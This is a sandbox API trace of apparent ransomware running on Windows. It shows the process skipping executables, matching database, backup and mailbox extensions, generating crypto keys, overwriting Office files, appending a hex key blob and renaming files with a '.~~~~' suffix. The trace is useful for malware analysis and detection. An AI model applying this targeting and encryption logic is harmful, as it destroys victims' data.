	[0080.599] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML", lpSrch="msp\r\n.pif") returned 0x0
	[0080.599] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
	[0080.599] lstrlenW (lpString=".sqb") returned 4
	[0080.599] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML", lpSrch=".sqb") returned 0x0
	[0080.599] lstrlenW (lpString=".ost") returned 4
	[0080.599] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML", lpSrch=".ost") returned 0x0
	[0080.599] lstrlenW (lpString=".txt") returned 4
	[0080.599] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML", lpSrch=".txt") returned 0x0
	[0080.599] lstrlenW (lpString=".mdt") returned 4
	[0080.599] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML", lpSrch=".mdt") returned 0x0
	[0080.599] lstrlenW (lpString=".BDB") returned 4
	[0080.599] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML", lpSrch=".BDB") returned 0x0
	[0080.599] lstrlenW (lpString=".eql") returned 4
	[0080.599] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML", lpSrch=".eql") returned 0x0
	[0080.599] lstrlenW (lpString=".DBF") returned 4
	[0080.599] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML", lpSrch=".DBF") returned 0x0
	[0080.599] lstrlenW (lpString=".EQL") returned 4
	[0080.599] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML", lpSrch=".EQL") returned 0x0
	[0080.600] lstrlenW (lpString=".FDB") returned 4
	[0080.600] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML", lpSrch=".FDB") returned 0x0
	[0080.600] lstrlenW (lpString=".EDB") returned 4
	[0080.600] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML", lpSrch=".EDB") returned 0x0
	[0080.600] lstrlenW (lpString=".DACPAC") returned 7
	[0080.600] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML", lpSrch=".DACPAC") returned 0x0
	[0080.600] lstrlenW (lpString=".VHD") returned 4
	[0080.600] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML", lpSrch=".VHD") returned 0x0
	[0080.600] lstrlenW (lpString=".DBV") returned 4
	[0080.600] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML", lpSrch=".DBV") returned 0x0
	[0080.600] lstrlenW (lpString=".dacpac") returned 7
	[0080.600] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML", lpSrch=".dacpac") returned 0x0
	[0080.600] lstrlenW (lpString=".sdf") returned 4
	[0080.600] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML", lpSrch=".sdf") returned 0x0
	[0080.600] lstrlenW (lpString=".accdb") returned 6
	[0080.600] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML", lpSrch=".accdb") returned 0x0
	[0080.600] lstrlenW (lpString=".DBX") returned 4
	[0080.600] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML", lpSrch=".DBX") returned 0x0
	[0080.600] lstrlenW (lpString=".MDT") returned 4
	[0080.600] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML", lpSrch=".MDT") returned 0x0
	[0080.600] lstrlenW (lpString=".SQB") returned 4
	[0080.600] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML", lpSrch=".SQB") returned 0x0
	[0080.600] lstrlenW (lpString=".vhd") returned 4
	[0080.600] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML", lpSrch=".vhd") returned 0x0
	[0080.600] lstrlenW (lpString=".bac") returned 4
	[0080.601] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML", lpSrch=".bac") returned 0x0
	[0080.601] lstrlenW (lpString=".mdf") returned 4
	[0080.601] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML", lpSrch=".mdf") returned 0x0
	[0080.601] lstrlenW (lpString=".BAK") returned 4
	[0080.601] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML", lpSrch=".BAK") returned 0x0
	[0080.601] lstrlenW (lpString=".BAC") returned 4
	[0080.601] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML", lpSrch=".BAC") returned 0x0
	[0080.601] lstrlenW (lpString=".dbs") returned 4
	[0080.601] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML", lpSrch=".dbs") returned 0x0
	[0080.601] lstrlenW (lpString=".vhdx") returned 5
	[0080.601] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML", lpSrch=".vhdx") returned 0x0
	[0080.601] lstrlenW (lpString=".NDF") returned 4
	[0080.601] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML", lpSrch=".NDF") returned 0x0
	[0080.601] lstrlenW (lpString=".dat") returned 4
	[0080.601] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML", lpSrch=".dat") returned 0x0
	[0080.601] lstrlenW (lpString=".DBS") returned 4
	[0080.601] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML", lpSrch=".DBS") returned 0x0
	[0080.601] lstrlenW (lpString=".CKP") returned 4
	[0080.601] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML", lpSrch=".CKP") returned 0x0
	[0080.601] lstrlenW (lpString=".edb") returned 4
	[0080.601] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML", lpSrch=".edb") returned 0x0
	[0080.601] lstrlenW (lpString=".PST") returned 4
	[0080.601] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML", lpSrch=".PST") returned 0x0
	[0080.601] lstrlenW (lpString=".dbf") returned 4
	[0080.601] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML", lpSrch=".dbf") returned 0x0
	[0080.601] lstrlenW (lpString=".SQL") returned 4
	[0080.601] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML", lpSrch=".SQL") returned 0x0
	[0080.601] lstrlenW (lpString=".pst") returned 4
	[0080.601] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML", lpSrch=".pst") returned 0x0
	[0080.602] lstrlenW (lpString=".dbv") returned 4
	[0080.602] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML", lpSrch=".dbv") returned 0x0
	[0080.602] lstrlenW (lpString=".SDF") returned 4
	[0080.602] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML", lpSrch=".SDF") returned 0x0
	[0080.602] lstrlenW (lpString=".dtxs") returned 5
	[0080.602] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML", lpSrch=".dtxs") returned 0x0
	[0080.602] lstrlenW (lpString=".db3") returned 4
	[0080.602] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML", lpSrch=".db3") returned 0x0
	[0080.602] lstrlenW (lpString=".OST") returned 4
	[0080.602] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML", lpSrch=".OST") returned 0x0
	[0080.602] lstrlenW (lpString=".dbx") returned 4
	[0080.602] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML", lpSrch=".dbx") returned 0x0
	[0080.602] lstrlenW (lpString=".DB3") returned 4
	[0080.602] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML", lpSrch=".DB3") returned 0x0
	[0080.602] lstrlenW (lpString=".DAT") returned 4
	[0080.602] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML", lpSrch=".DAT") returned 0x0
	[0080.602] lstrlenW (lpString=".VHDX") returned 5
	[0080.602] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML", lpSrch=".VHDX") returned 0x0
	[0080.602] lstrlenW (lpString=".ndf") returned 4
	[0080.602] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML", lpSrch=".ndf") returned 0x0
	[0080.602] lstrlenW (lpString=".DB") returned 3
	[0080.602] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML", lpSrch=".DB") returned 0x0
	[0080.602] lstrlenW (lpString=".sql") returned 4
	[0080.602] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML", lpSrch=".sql") returned 0x0
	[0080.602] lstrlenW (lpString=".MYD") returned 4
	[0080.602] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML", lpSrch=".MYD") returned 0x0
	[0080.602] lstrlenW (lpString=".DBT") returned 4
	[0080.602] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML", lpSrch=".DBT") returned 0x0
	[0080.603] lstrlenW (lpString=".ACCDB") returned 6
	[0080.603] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML", lpSrch=".ACCDB") returned 0x0
	[0080.603] lstrlenW (lpString=".fdb") returned 4
	[0080.603] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML", lpSrch=".fdb") returned 0x0
	[0080.603] lstrlenW (lpString=".bak") returned 4
	[0080.603] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML", lpSrch=".bak") returned 0x0
	[0080.603] lstrlenW (lpString=".myd") returned 4
	[0080.603] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML", lpSrch=".myd") returned 0x0
	[0080.603] lstrlenW (lpString=".DTXS") returned 5
	[0080.603] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML", lpSrch=".DTXS") returned 0x0
	[0080.603] lstrlenW (lpString=".ckp") returned 4
	[0080.603] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML", lpSrch=".ckp") returned 0x0
	[0080.603] lstrlenW (lpString=".dbt") returned 4
	[0080.603] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML", lpSrch=".dbt") returned 0x0
	[0080.603] lstrlenW (lpString=".db") returned 3
	[0080.603] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML", lpSrch=".db") returned 0x0
	[0080.603] lstrlenW (lpString=".TXT") returned 4
	[0080.603] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML", lpSrch=".TXT") returned 0x0
	[0080.603] lstrlenW (lpString=".MDF") returned 4
	[0080.603] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML", lpSrch=".MDF") returned 0x0
	[0080.603] lstrlenW (lpString=".bdb") returned 4
	[0080.603] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML", lpSrch=".bdb") returned 0x0
	[0080.603] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0080.603] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0080.603] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804470
	[0080.604] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0080.604] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x39fe28) returned 1
	[0080.604] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0080.604] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0080.605] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0080.605] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0080.605] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x3ce910
	[0080.605] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=20059481483) returned 1
	[0080.605] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x99e57d90, dwHighDateTime=0x1d60e1e)) 
	[0080.605] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0080.605] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0080.605] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0080.605] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39e228
	[0080.605] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0080.605] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e228 | out: hHeap=0x300000) returned 1
	[0080.605] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0080.605] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0080.605] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b56f8
	[0080.605] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0080.605] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b2160
	[0080.605] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b56f8 | out: hHeap=0x300000) returned 1
	[0080.605] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0080.605] GetLastError () returned 0x0
	[0080.606] GetLastError () returned 0x0
	[0080.606] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0080.606] GetLastError () returned 0x0
	[0080.606] GetLastError () returned 0x0
	[0080.606] ReadFile (in: hFile=0x118, lpBuffer=0x281bfd8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x281bfd8*, lpNumberOfBytesRead=0x24dfec0*=0x391, lpOverlapped=0x0) returned 1
	[0080.608] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xfffffc6f, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0080.608] WriteFile (in: hFile=0x118, lpBuffer=0x281bfd8*, nNumberOfBytesToWrite=0x391, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x281bfd8*, lpNumberOfBytesWritten=0x24dfec0*=0x391, lpOverlapped=0x0) returned 1
	[0080.608] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281bfd8 | out: hHeap=0x300000) returned 1
	[0080.608] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.608] WriteFile (in: hFile=0x118, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0080.608] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0080.608] WriteFile (in: hFile=0x118, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0080.609] CloseHandle (hObject=0x118) returned 1
	[0080.609] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xf0) returned 0x39ece0
	[0080.609] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml.~~~~")) returned 1
	[0080.610] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39ece0 | out: hHeap=0x300000) returned 1
	[0080.610] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0080.610] GetLastError () returned 0x0
	[0080.610] RtlWakeConditionVariable () returned 0x365f70
	[0080.610] GetCurrentThreadId () returned 0x3a4
	[0080.610] GetCurrentThreadId () returned 0x3a4
	[0080.610] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x27fefe8
	[0080.610] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f9c88 | out: hHeap=0x300000) returned 1
	[0080.610] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e1f0 | out: hHeap=0x300000) returned 1
	[0080.610] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x28012a0
	[0080.610] lstrlenW (lpString=".scr") returned 4
	[0080.610] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML", lpSrch=".scr") returned 0x0
	[0080.610] lstrlenW (lpString=".cmd") returned 4
	[0080.610] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML", lpSrch=".cmd") returned 0x0
	[0080.610] lstrlenW (lpString=".dll") returned 4
	[0080.610] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML", lpSrch=".dll") returned 0x0
	[0080.610] lstrlenW (lpString=".bat") returned 4
	[0080.610] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML", lpSrch=".bat") returned 0x0
	[0080.610] lstrlenW (lpString=".cpl") returned 4
	[0080.610] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML", lpSrch=".cpl") returned 0x0
	[0080.610] lstrlenW (lpString=".sys") returned 4
	[0080.610] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML", lpSrch=".sys") returned 0x0
	[0080.610] lstrlenW (lpString=".msc") returned 4
	[0080.610] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML", lpSrch=".msc") returned 0x0
	[0080.610] lstrlenW (lpString=".com") returned 4
	[0080.610] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML", lpSrch=".com") returned 0x0
	[0080.610] lstrlenW (lpString=".lnk") returned 4
	[0080.611] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML", lpSrch=".lnk") returned 0x0
	[0080.611] lstrlenW (lpString=".msp") returned 4
	[0080.611] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML", lpSrch=".msp") returned 0x0
	[0080.611] lstrlenW (lpString=".pif") returned 4
	[0080.611] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML", lpSrch=".pif") returned 0x0
	[0080.611] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0080.611] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML", lpSrch="msp\r\n.pif") returned 0x0
	[0080.611] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
	[0080.612] lstrlenW (lpString=".sqb") returned 4
	[0080.612] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML", lpSrch=".sqb") returned 0x0
	[0080.612] lstrlenW (lpString=".ost") returned 4
	[0080.612] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML", lpSrch=".ost") returned 0x0
	[0080.612] lstrlenW (lpString=".txt") returned 4
	[0080.612] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML", lpSrch=".txt") returned 0x0
	[0080.612] lstrlenW (lpString=".mdt") returned 4
	[0080.612] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML", lpSrch=".mdt") returned 0x0
	[0080.612] lstrlenW (lpString=".BDB") returned 4
	[0080.612] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML", lpSrch=".BDB") returned 0x0
	[0080.612] lstrlenW (lpString=".eql") returned 4
